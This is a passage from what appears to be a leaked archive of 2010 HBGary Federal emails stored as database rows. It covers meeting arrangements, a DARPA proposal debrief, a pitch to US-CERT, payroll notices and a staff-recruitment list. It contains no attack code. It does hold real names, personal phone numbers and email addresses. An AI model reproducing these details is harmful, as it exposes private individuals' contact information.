well.\r\n\r\nAaron\r\n\r\n\r\nOn Jun 13, 2010, at 10:53 PM, Paul Nemirovsky wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\nMy 10 am meeting is canceled, so I could meet you at 11 am.&nbsp; Please confirm.&nbsp;&nbsp; My mobile -703-622-6115.\r\n&nbsp;\r\n&nbsp;\r\nregards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n--- On Thu, 6/10/10, Paul Nemirovsky &lt;pauln@jdn-int.com&gt; wrote:\r\nFrom: Paul Nemirovsky &lt;pauln@jdn-int.com&gt;Subject: Re: MeetingTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Date: Thursday, June 10, 2010, 3:26 PM\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;\r\nWe could meet at 11:15 am at this restaurant Monday.&nbsp;&nbsp;&nbsp; Please let me know if it works for you.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n--- On Wed, 6/9/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: pauln@jdn-int.comDate: Wednesday, June 9, 2010, 5:38 PM\r\nHow about: \r\n\r\n\r\n\r\nGunning\'s&nbsp;Seafood&nbsp;Restaurant&lt;transparent.png&gt;?\r\n&lt;transparent.png&gt;&lt;transparent.png&gt;&lt;transparent.png&gt;&lt;transparent.png&gt;&lt;transparent.png&gt;&nbsp;64 reviews&nbsp;-&nbsp;more\r\n info&nbsp;» \r\n\r\n\r\n\r\n\r\n\r\n7304 Parkway Dr\r\nHanover, Maryland 21076\r\n(410) 712-9404get=_blank rel=nofollow&gt;gunningsonline.com?\r\n\r\n&lt;FJJKjW12nf5fmIxynCrAkjO4tZ4k24YfVPYe7wduY2BqRc5fzPV6-VPvTbIAHjABXdCyQ_aZQuaLzq-2I0Hkh1E9Lm67edpFCvhFf9o-A9SE6MLE1mJywMwSAjj0minSJODdV2ndcWxMEaS1bD5ta3VfTEYVY6Liq2zGXWgk.jpeg&gt;\r\n\r\n\r\n\r\nI had lunch about 4 weeks ago with Tom Conroy, very good Crab Cakes. &nbsp;Is 11am ok?\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Jun 9, 2010, at 4:23 PM, Paul Nemirovsky wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\nAaron,\r\n&nbsp;\r\nWe could meet anywhere it works for you.&nbsp; I do not know this area well.&nbsp; There is Hellas Restaurant in Millersville, if you like it.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n___________________________________________________________\r\n&nbsp;--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: MeetingTo: \"pauln@jdn-int.com\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 5:08 PM\r\n\r\nPaul,\r\n\r\nThat sounds good. &nbsp;I have a 1pm in Columbia at the saic bldg. &nbsp;Do u know a good place?\r\n\r\nAaronFrom my iPhone\r\nOn Jun 8, 2010, at 4:53 PM, Paul Nemirovsky &lt;pauln@jdn-int.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;\r\nThank you for the note.&nbsp; Monday, 6/14 is fine.&nbsp; Would you like to get together for lunch in the area?\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul&nbsp; (703-622-6115 (m))--- On Tue, 6/8/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: MeetingTo: \"Dr. Paul Nemirovsky\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 8, 2010, 4:44 PM\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message. \r\n\r\nDate: 6/08/2010 \r\n\r\nSubject: Meeting \r\n\r\nHi Paul, Do you have some time to meet on Monday? I have another meeting in the early afternoon in your area. Aaron \r\n\r\nView/reply to this message \r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings. \r\n\r\n© 2010, LinkedIn Corporation \r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.',2996,'aaron_hbgary_com/2996.html'),(7385,'2010-06-14','\"DARPA-BAA-10-36\" <DARPA-BAA-10-36@darpa.mil>','/aaron@hbgary.com/new/1297005389.M868035P14101Q2240.eml','\"DARPA-BAA-10-36\" <DARPA-BAA-10-36@darpa.mil>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Genome Proposal De-Brief','Mr. Barr,\r\n\r\nJust wanted to check and see if you were planning on attending the de-brief for your proposal on 29 Jun 2010. Please confirm with the names of who will be attending.\r\n\r\nThank you.\r\n\r\nMatthew King\r\nSETA\r\nDARPA/STO\r\n\r\n-----Original Message-----\r\nFrom: DARPA-BAA-10-36 \r\nSent: Monday, May 17, 2010 10:18 AM\r\nTo: Aaron Barr\r\nCc: DARPA-BAA-10-36\r\nSubject: Cyber Genome Proposal De-Brief\r\n\r\nDear Mr. Barr,\r\n\r\n \r\n\r\nAn informal feedback sessions regarding your proposal to DARPA BAA 10-36 has been scheduled on 29 June 2010 at 1045L. The location is the System Planning Corporation (SPC) in Arlington VA (see attached direction sheet).  Please plan on the de-brief lasting no longer than 15 minutes and limit the number of participants to four (4) people or less.\r\n\r\n \r\n\r\nUpon arrival to the SPC building, please proceed to the 5th floor and check in at the visitors desk, where you will receive your Visitors Badge. From here you will be escorted to your meeting.  At this time, 29 June 2010 will be the only date offered for BAA 10-36 informal out-briefs.\r\n\r\n \r\n\r\nPlease RSVP soonest to DARPA-BAA-10-36@darpa.mil with who will be attending from your company.  \r\n\r\n \r\n\r\nIf you have any questions/concerns, please contact my Program SETA for this effort, Matthew King at DARPA-BAA-10-36@darpa.mil\r\n\r\n \r\n\r\nMike\r\n\r\n \r\n\r\nMichael VanPutte, Ph.D. \r\n\r\nProgram Manager \r\n\r\nDefense Advanced Research Projects Agency\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n',15654,'aaron_hbgary_com/15654.html'),(7386,'2010-06-14','\"DARPA-BAA-10-36\" <DARPA-BAA-10-36@darpa.mil>','/aaron@hbgary.com/new/1297005390.M308168P14101Q2242.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Genome Proposal De-Brief','Mr. Barr,\r\n\r\nThank you for confirming your attendance, and getting back to me so quickly.\r\n\r\nNo announcement has been made yet, and I don\'t have an expected date as to when they will be made.\r\n\r\nMatthew King\r\nSETA\r\nDARPA/STO\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Monday, June 14, 2010 11:29 AM\r\nTo: DARPA-BAA-10-36\r\nSubject: Re: Cyber Genome Proposal De-Brief\r\n\r\nHi Matt,\r\n\r\nYes we are still planning on attending:\r\nAaron Barr\r\nBob Slapnik\r\n\r\nHave the awardees been announced yet?\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Jun 14, 2010, at 11:27 AM, DARPA-BAA-10-36 wrote:\r\n\r\n> Mr. Barr,\r\n>\r\n> Just wanted to check and see if you were planning on attending the de-brief for your proposal on 29 Jun 2010. Please confirm with the names of who will be attending.\r\n>\r\n> Thank you.\r\n>\r\n> Matthew King\r\n> SETA\r\n> DARPA/STO\r\n>\r\n> -----Original Message-----\r\n> From: DARPA-BAA-10-36\r\n> Sent: Monday, May 17, 2010 10:18 AM\r\n> To: Aaron Barr\r\n> Cc: DARPA-BAA-10-36\r\n> Subject: Cyber Genome Proposal De-Brief\r\n>\r\n> Dear Mr. Barr,\r\n>\r\n>\r\n>\r\n> An informal feedback sessions regarding your proposal to DARPA BAA 10-36 has been scheduled on 29 June 2010 at 1045L. The location is the System Planning Corporation (SPC) in Arlington VA (see attached direction sheet).  Please plan on the de-brief lasting no longer than 15 minutes and limit the number of participants to four (4) people or less.\r\n>\r\n>\r\n>\r\n> Upon arrival to the SPC building, please proceed to the 5th floor and check in at the visitors desk, where you will receive your Visitors Badge. From here you will be escorted to your meeting.  At this time, 29 June 2010 will be the only date offered for BAA 10-36 informal out-briefs.\r\n>\r\n>\r\n>\r\n> Please RSVP soonest to DARPA-BAA-10-36@darpa.mil with who will be attending from your company.\r\n>\r\n>\r\n>\r\n> If you have any questions/concerns, please contact my Program SETA for this effort, Matthew King at DARPA-BAA-10-36@darpa.mil\r\n>\r\n>\r\n>\r\n> Mike\r\n>\r\n>\r\n>\r\n> Michael VanPutte, Ph.D.\r\n>\r\n> Program Manager\r\n>\r\n> Defense Advanced Research Projects Agency\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9654,'aaron_hbgary_com/9654.html'),(7387,'2010-06-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005390.M525768P14101Q2243.eml','\"Barr Aaron\" <aaron@hbgary.com>','Personnel','I can\'t find the roster:\r\n\r\nSW DEV:\r\nNick Sandoval\r\nAsa Martin\r\nClint Eads (Reverse Engineer)\r\nJeff McCartney\r\nMichelle Clodfelter Elrod (System Admin)\r\n\r\nWEB APPS / CREATIVE:\r\nMark Rairdon\r\nMatt Furman (web / animation / flash / script writer)\r\nJeremiah Goben (3d modeller / animation)\r\nTawny Fritz (artist)\r\nAaron Spring (Graphics Design)\r\n\r\nTed\r\n',10673,'aaron_hbgary_com/10673.html'),(7388,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005390.M79511P14101Q2241.eml','\"DARPA-BAA-10-36\" <DARPA-BAA-10-36@darpa.mil>','Re: Cyber Genome Proposal De-Brief','Hi Matt,\r\n\r\nYes we are still planning on attending:\r\nAaron Barr\r\nBob Slapnik\r\n\r\nHave the awardees been announced yet?\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Jun 14, 2010, at 11:27 AM, DARPA-BAA-10-36 wrote:\r\n\r\n> Mr. Barr,\r\n> \r\n> Just wanted to check and see if you were planning on attending the de-brief for your proposal on 29 Jun 2010. Please confirm with the names of who will be attending.\r\n> \r\n> Thank you.\r\n> \r\n> Matthew King\r\n> SETA\r\n> DARPA/STO\r\n> \r\n> -----Original Message-----\r\n> From: DARPA-BAA-10-36 \r\n> Sent: Monday, May 17, 2010 10:18 AM\r\n> To: Aaron Barr\r\n> Cc: DARPA-BAA-10-36\r\n> Subject: Cyber Genome Proposal De-Brief\r\n> \r\n> Dear Mr. Barr,\r\n> \r\n> \r\n> \r\n> An informal feedback sessions regarding your proposal to DARPA BAA 10-36 has been scheduled on 29 June 2010 at 1045L. The location is the System Planning Corporation (SPC) in Arlington VA (see attached direction sheet).  Please plan on the de-brief lasting no longer than 15 minutes and limit the number of participants to four (4) people or less.\r\n> \r\n> \r\n> \r\n> Upon arrival to the SPC building, please proceed to the 5th floor and check in at the visitors desk, where you will receive your Visitors Badge. From here you will be escorted to your meeting.  At this time, 29 June 2010 will be the only date offered for BAA 10-36 informal out-briefs.\r\n> \r\n> \r\n> \r\n> Please RSVP soonest to DARPA-BAA-10-36@darpa.mil with who will be attending from your company.  \r\n> \r\n> \r\n> \r\n> If you have any questions/concerns, please contact my Program SETA for this effort, Matthew King at DARPA-BAA-10-36@darpa.mil\r\n> \r\n> \r\n> \r\n> Mike\r\n> \r\n> \r\n> \r\n> Michael VanPutte, Ph.D. \r\n> \r\n> Program Manager \r\n> \r\n> Defense Advanced Research Projects Agency\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',572,'aaron_hbgary_com/572.html'),(7389,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005390.M966294P14101Q2244.eml','\"Maria Lucas\" <maria@hbgary.com>','Fwd: HB Gary','Begin forwarded message:From: \"Stern, Matthew A.\" &lt;Matthew.Stern@gd-ais.com&gt;Date: April 6, 2010 4:15:04 PM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Cc: \"Rohring, Matthew R.\" &lt;Matthew.Rohring@gd-ais.com&gt;, &lt;matthew.rohring@us-cert.gov&gt;, \"Compton, Michael W.\" &lt;Michael.Compton@gd-ais.com&gt;, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt;, \"Rich Cummings\" &lt;rich@hbgary.com&gt;, \"Donnelly, Jack F.\" &lt;Jack.Donnelly@gd-ais.com&gt;Subject: RE: HB GaryGreat – I am waiting for responses from our team.&nbsp;r,Matt&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, April 06, 2010 4:13 PMTo:&nbsp;Stern, Matthew A.Cc:&nbsp;Rohring, Matthew R.; matthew.rohring@us-cert.gov; Compton, Michael W.; Penny Leavy-Hoglund; Rich Cummings; Donnelly, Jack F.Subject:&nbsp;Re: HB Gary&nbsp;I am available.From my iPhoneOn Apr 6, 2010, at 3:57 PM, \"Stern, Matthew A.\" &lt;Matthew.Stern@gd-ais.com&gt; wrote:All,&nbsp;HBGary team this is the GD-AIS team.&nbsp;As we move forward in our partnership, I thought it would be good to show the US CERT some of the new technologies that HB Gary is bringing to the fight.&nbsp;I have a meeting scheduled with Byron Copeland, Chief of Forensics and Malware Analysis, US CERT, on April 14, 2010, at 930 - can you be there?&nbsp;Matt Rohring can you set up a conference Room at Glebe Road?&nbsp;If you all respond positively, I will send the reminder notice.&nbsp;r,Matt&nbsp;From:&nbsp;Copeland, Byron D [mailto:Byron.Copeland@dhs.gov]&nbsp;Sent:&nbsp;Tuesday, April 06, 2010 1:46 PMTo:&nbsp;Stern, Matthew A.; Copeland, Byron DCc:&nbsp;Donnelly, Jack F.Subject:&nbsp;RE: HB Gary&nbsp;That works. What do we say, about 9am, 930anm or so?&nbsp;&nbsp;&nbsp;Byron CopelandChief, Digital Analytics BranchUnited States Computer Emergency Readiness Team703-235-5064&nbsp;From:&nbsp;prvs=1705c1df47=matthew.stern@gd-ais.com&nbsp;[mailto:prvs=1705c1df47=matthew.stern@gd-ais.com]&nbsp;On Behalf OfStern, Matthew A.Sent:&nbsp;Tuesday, April 06, 2010 1:24 PMTo:&nbsp;Copeland, Byron DCc:&nbsp;Donnelly, Jack F.Subject:&nbsp;RE: HB Gary&nbsp;How about the 21st?&nbsp;r,Matt&nbsp;From:&nbsp;Copeland, Byron D [mailto:Byron.Copeland@dhs.gov]&nbsp;Sent:&nbsp;Monday, April 05, 2010 1:29 PMTo:&nbsp;Stern, Matthew A.; Copeland, Byron DCc:&nbsp;Donnelly, Jack F.Subject:&nbsp;RE: HB Gary&nbsp;I’m out this Thursday and Friday and out all next week. The 20th&nbsp;is not good either. But free any other time.&nbsp;&nbsp;Byron CopelandChief, Digital Analytics BranchUnited States Computer Emergency Readiness Team703-235-5064&nbsp;From:&nbsp;prvs=17040d1f08=matthew.stern@gd-ais.com&nbsp;[mailto:prvs=17040d1f08=matthew.stern@gd-ais.com]&nbsp;On Behalf OfStern, Matthew A.Sent:&nbsp;Monday, April 05, 2010 1:26 PMTo:&nbsp;Copeland, Byron DCc:&nbsp;Donnelly, Jack F.Subject:&nbsp;RE: HB Gary&nbsp;Ok&nbsp;I will help get something set up&nbsp;What does your schedule look like?&nbsp;r,Matt&nbsp;From:&nbsp;Copeland, Byron D [mailto:Byron.Copeland@dhs.gov]&nbsp;Sent:&nbsp;Monday, April 05, 2010 1:15 PMTo:&nbsp;Stern, Matthew A.; Copeland, Byron DCc:&nbsp;Donnelly, Jack F.Subject:&nbsp;RE: HB Gary&nbsp;Matt,&nbsp;We in fact do use GB Gary Responder &nbsp;Pro and HBGary Digital DNA.&nbsp;I’d love to hear more about the Sandbox capabilities.&nbsp;Thanks,&nbsp;Byron CopelandChief, Digital Analytics BranchUnited States Computer Emergency Readiness Team703-235-5064&nbsp;From:&nbsp;prvs=17040d1f08=matthew.stern@gd-ais.com&nbsp;[mailto:prvs=17040d1f08=matthew.stern@gd-ais.com]&nbsp;On Behalf OfStern, Matthew A.Sent:&nbsp;Monday, April 05, 2010 1:05 PMTo:&nbsp;Copeland, Byron DCc:&nbsp;Donnelly, Jack F.Subject:&nbsp;HB Gary&nbsp;Byron,Are you using HB Gary?Would you be interested in some very powerful&nbsp;reverse Engineering and Sandbox capabilities that they have?RMatt&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15917,'aaron_hbgary_com/15917.html'),(7390,'2010-06-14','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297005391.M266963P14101Q2245.eml','byron.copeland@dhs.gov,byron.copeland@dhs.gov','Threat Management Center from HBGary','Hi Byron\r\n \r\nWould you be available to schedule a meeting to learn about HBGary&#39;s Threat Managent Center (TMC)?  \r\n \r\nInternally, HBGary analyzes about 20,000 pieces of malware daily in the TMC based on the same technologies -- Digital DNA and REcon -- that your forensic team is using to analyze individual malware samples.  The TMC tracks detection rates, and uses the results to analyze, create and add new behaviors to the HBGary &quot;Genome.&quot;  \r\n\r\n \r\nThe TMC is scalable to handle an unlimited volume of malware and could help the US-CERT to scale automated malware detection.\r\n \r\n \r\nLooking forward to hearing from you,Maria\r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n',13042,'aaron_hbgary_com/13042.html'),(7391,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005409.M549885P14101Q2246.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Presentation','Greg,\r\n\r\nPresentation still has some gap areas I am filling in but here it is in current form.\r\n\r\n',1939,'aaron_hbgary_com/1939.html'),(7392,'2010-06-14','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297005412.M309030P14101Q2248.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','US-CERT and TMC','Aaron\r\n \r\nI spoke to Byron and he is very interestined in the TMC.  His forensic team is in training next week but after that he would like to schedule a meeting with you -- and Rich if he is in DC...\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n',3948,'aaron_hbgary_com/3948.html'),(7393,'2010-06-14','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297005412.M54917P14101Q2247.eml','\"Inc. HBGARY\" <All@hbgary.com>','IF YOU WANT TO GET PAID!!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi to all,\r\n\r\n&nbsp;\r\n\r\nPlease input your hours in QB as soon as possible.&nbsp; .&nbsp; Barbara\r\nis going to do pay roll today!!&nbsp; Yeah!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12900,'aaron_hbgary_com/12900.html'),(7394,'2010-06-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005415.M629669P14101Q2249.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,martin@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Fri)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Sunday, June 13, 2010 9:18 AM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\n \r\nSubject: NMCIWG: Daily Computer Threat News (Fri)\r\n\r\nThe last article is outstanding - it provides the most detail I\'ve ever read\r\non protecting data stored on smartphones from theft/compromise. If your\r\ncompany issues smartphones to employees you need to be concerned about\r\nsecuring those devices to protect PII/CUI/FOUO/company proprietary\r\ninformation.\r\n\r\nToday\'s articles:\r\n\r\n*       Auditors find IT material weakness in ICE\r\n\r\n*       Botnet targeting Mexicans taken down by owner\r\n\r\n*       New zero-day vulnerability in Microsoft Windows XP and 2003\r\ndiscovered\r\n\r\n*       Exploit for new Flash vulnerability spreading fast\r\n\r\n*       AT&T: Security gap exposed Apple iPad e-mail addresses, IDs\r\n\r\n*       Mass Web attack hits Wall Street Journal, Jerusalem Post\r\n\r\n*       ZeuS trojan attack spoofs IRS, Twitter, Youtube\r\n\r\n*       Passware Kit Accelerates Distributed Password Cracking  \r\n\r\n*       Mobile phone security dos and don\'ts\r\n\r\n',15562,'aaron_hbgary_com/15562.html'),(7395,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005417.M169794P14101Q2250.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,,,','Re: The List','Chris,\r\n\r\nOK this might come out somewhat convoluted but I will do my best.\r\n\r\nAttached is a spreadsheet with People, Skills, Importance, likelyhood to switch and what type of offer.  There are a few other people that we didn\'t put on the list, such as the Persian Farsi linguists that work onsite, or the people that work directly for the PM, Dan Lindorf, that would likely not consider any offer.\r\n\r\n\r\n\r\nGive me a call.\r\nAaron\r\n\r\n\r\nOn Jun 14, 2010, at 11:06 AM, Clair, Chris (TASC) wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> We are excited to start putting together an advanced technical team here at TASC.  In our last meeting you mentioned you were putting a list of those folks together.  As you may have heard in our meeting that I am able to meet some of my deadlines but really need help in PM and development (Java, C, C++).  I also have a real need for the right XML\\SGML Perl type if that exists too and our production studio is always in  need of creative people.  I am also reminded that there is a move to develop mobile apps and we need to staff that too.\r\n> \r\n> I have some latitude to hire in the next week or so depending on the capabilities of individuals.\r\n> \r\n> Please send over the list  as soon as you can and let me know what you think.\r\n> \r\n> Thanks,\r\n>       Chris\r\n> __________________________________________________\r\n>     |Chris Clair | Program Manager | 703.449.3964\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4874,'aaron_hbgary_com/4874.html'),(7396,'2010-06-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005417.M470961P14101Q2251.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: US-CERT and TMC','That is great. &nbsp;Do you want me to coordinate that or leave it to you?AaronOn Jun 14, 2010, at 12:54 PM, Maria Lucas wrote:Aaron\r\n&nbsp;\r\nI spoke to Byron and he is very interestined in the TMC.&nbsp; His forensic team is in training next week but after that he would like to schedule&nbsp;a meeting with you -- and Rich if he is in DC...\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',10797,'aaron_hbgary_com/10797.html'),(7397,'2010-06-14','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297005417.M718729P14101Q2252.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: US-CERT and TMC','I will coordinate the meeting for you.\r\n \r\nlet me know when you are in DC after June 23...\r\nOn Mon, Jun 14, 2010 at 10:09 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nThat is great.  Do you want me to coordinate that or leave it to you? \r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 14, 2010, at 12:54 PM, Maria Lucas wrote:\r\n\r\nAaron\r\n \r\nI spoke to Byron and he is very interestined in the TMC.  His forensic team is in training next week but after that he would like to schedule a meeting with you -- and Rich if he is in DC...\r\nMaria-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n',2712,'aaron_hbgary_com/2712.html'),(7398,'2010-06-14','\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>','/aaron@hbgary.com/new/1297005417.M943459P14101Q2253.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,','RE: The List','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, June 14, 2010 1:08 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Pisani, Albert A. (TASC); Garcia, Kathy (TASC); Lovegrove, John\r\n(TASC); Ted Vera\r\nSubject: Re: The List\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOK this might come out somewhat convoluted but I will do my\r\nbest.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached is a spreadsheet with People, Skills, Importance,\r\nlikelyhood to switch and what type of offer. &nbsp;There are a few other people\r\nthat we didn\'t put on the list, such as the Persian Farsi linguists that work\r\nonsite, or the people that work directly for the PM, Dan Lindorf, that would\r\nlikely not consider any offer.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6172,'aaron_hbgary_com/6172.html'),(7399,'2010-06-14','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005418.M178370P14101Q2254.eml','all@hbgary.com','Rocco-NY Sales','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi All,\r\n\r\n&nbsp;\r\n\r\nRocco starts today.&nbsp; He will be handling the NorthEast\r\nterritory for sales.&nbsp; Welcome Rocco!!\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9975,'aaron_hbgary_com/9975.html'),(7400,'2010-06-14','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005418.M417336P14101Q2255.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Riley Hassell Intro','Aaron,Can you hook up for dinner tomorrow night? &nbsp;I think you and Amini should get introduced.-GregSent from my iPadBegin forwarded message:From: \"Shaun S. Amini\" &lt;samini@C5i.com&gt;Date: June 14, 2010 9:08:30 AM PDTTo: Greg Hoglund &lt;greg@hbgary.com&gt;Subject: RE: Riley Hassell Intro\r\n\r\n\r\n\r\nHi Greg,\r\n\r\n&nbsp;\r\n\r\nThere are several items I would like to chat about.\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPulling you guys into some opportunities we are chasing both in\r\nCivilian and DoD space specifically in the Incidence Response area.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUsing some of your tools as part of the set of tools we 